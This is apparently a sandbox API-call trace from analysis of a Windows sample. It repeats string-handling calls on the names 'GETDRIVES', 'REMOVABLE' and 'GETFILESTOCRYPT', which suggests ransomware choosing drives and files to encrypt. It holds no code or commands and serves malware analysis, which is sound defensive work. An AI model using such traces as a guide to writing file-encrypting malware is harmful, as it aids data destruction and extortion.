CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.305] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.305] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.306] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.333] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.333] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.333] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.333] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.333] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.333] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.334] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.334] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.334] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.334] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.334] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.334] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.334] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.334] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.334] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.334] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.338] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.338] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.338] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.338] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.338] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.338] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.338] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.338] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.339] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.339] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.339] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.339] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.339] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.339] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.339] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.340] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.340] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.340] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.374] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.374] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.375] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.375] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.375] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.375] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.375] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.375] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.375] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.376] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.376] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.376] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.376] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.376] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.376] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.376] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.376] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.376] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.376] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.376] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.377] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.377] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.377] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.377] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.377] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.377] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.377] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.377] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.377] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.377] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.378] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.378] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.378] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.401] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.401] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.401] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.401] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.401] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.401] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.402] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.402] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.402] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.402] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.402] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.402] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.402] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.402] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.402] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.403] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.403] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.403] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.403] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.403] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.403] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.403] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.403] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.403] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.403] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.403] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.404] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.404] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.404] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.404] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.404] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.404] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.404] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.404] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.404] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.405] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.405] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.405] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.432] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.433] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.433] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.433] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.433] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.433] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.434] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.434] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.434] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.434] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.434] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.434] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.435] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.435] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.435] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.435] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.435] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.435] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.436] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.436] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.436] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.436] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.436] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.436] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.448] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.448] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.448] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.448] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.449] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.449] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.449] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.449] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.449] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.449] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.449] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.449] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.449] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.449] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.450] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.450] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.450] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.450] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.450] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.450] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.450] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.450] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.450] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.450] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.451] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.451] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.451] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.451] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.451] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.451] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.452] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.452] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.606] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.607] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.607] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.607] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.607] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.607] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.607] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.608] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.608] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.608] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.608] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.608] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.608] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.608] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.609] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.609] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.609] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.609] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.609] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.609] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.610] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.610] 